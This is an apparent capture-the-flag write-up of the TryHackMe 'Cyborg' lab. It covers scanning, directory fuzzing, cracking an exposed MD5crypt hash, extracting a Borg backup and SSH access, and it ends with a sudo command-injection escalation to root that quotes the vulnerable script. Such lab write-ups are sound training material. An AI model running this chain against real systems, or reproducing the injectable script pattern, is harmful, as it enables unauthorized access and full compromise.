> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/cyborg-tryhackme.md).

# Cyborg (TryHackMe)

🧭 Overview

* Platform: TryHackMe
* Focus: Enumeration → Credential Access → Privilege Escalation
* OS: Linux

***

### 🔍 Reconnaissance

#### Nmap Scan

```bash
nmap -sC -sV -A <IP>
```

#### Findings:

* 22/tcp → SSH (OpenSSH 7.2p2)
* 80/tcp → HTTP (Apache 2.4.18)

#### Nmap Output

![Nmap](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/nmap.jpeg?raw=true)

***

### 🔎 Enumeration

#### Directory Fuzzing

```bash
ffuf -w /path/to/SecLists/common.txt -u http://<IP>/FUZZ
```

#### Discovered:

* `/admin`
* `/etc`

#### FFUF Output

![FFUF](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/ffuf.jpeg?raw=true)

***

### 📂 Sensitive Data Exposure

Navigate to:

```
/etc/squid/passwd
```

👉 Found:

* Username + hashed password

![Hash File](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/hash.jpeg?raw=true)

***

### 🔐 Credential Cracking

#### Identify Hash

```bash
hash-identifier
```

👉 Hash type: **MD5crypt**

![Hash Identify](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/hash.jpeg?raw=true)

***

#### Crack Hash

```bash
john --format=md5crypt --wordlist=/path/to/rockyou.txt s.txt
```

#### Result:

* Password recovered

![John Crack](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/john.jpeg?raw=true)

***

### 📦 Backup Extraction (Borg)

#### Download archive from `/admin`

![Admin Panel](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/upload-web-page.jpeg?raw=true)

***

#### Install Borg

```bash
sudo apt install borgbackup
```

***

#### Extract Backup

```bash
borg extract /path/to/archive::music_archive
```

👉 Use cracked password as passphrase

![Borg Extract](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/compressor-hint.jpeg?raw=true)

***

#### Find Credentials

```
/home/alex/Documents/note.txt
```

***

### 💥 Initial Access

Login via SSH:

```bash
ssh alex@<IP>
```

#### Result:

* Shell access obtained

![SSH Access](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/ssh.jpeg?raw=true)

***

### 🔐 Privilege Escalation

#### Check Sudo Permissions

```bash
sudo -l
```

#### Finding:

* Script executable as root:

```
/etc/mp3backups/backup.sh
```

![Sudo](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/sudo-l.jpeg?raw=true)

***

#### Vulnerable Script

```bash
while getopts c: flag
do
    case "${flag}" in 
        c) command=${OPTARG};;
    esac
done

cmd=$($command)
echo $cmd
```

👉 Vulnerability: **Command Injection**

***

#### Exploit

```bash
sudo /etc/mp3backups/backup.sh -c "su root"
```

#### Result:

* Root shell obtained

![Root](https://github.com/Ganesha-hk/Tryhackme-ctf-imgs/blob/main/cyborg/root.jpeg?raw=true)

***

### 🎯 Key Takeaways

* Exposed directories can leak credentials
* Weak hashing → easily cracked
* Backup files may contain sensitive data
* Misconfigured sudo scripts = full compromise
* Command injection is critical

***

### ⚠ Disclaimer

This writeup is for educational purposes only.\
All activities were performed in authorized lab environments.


---

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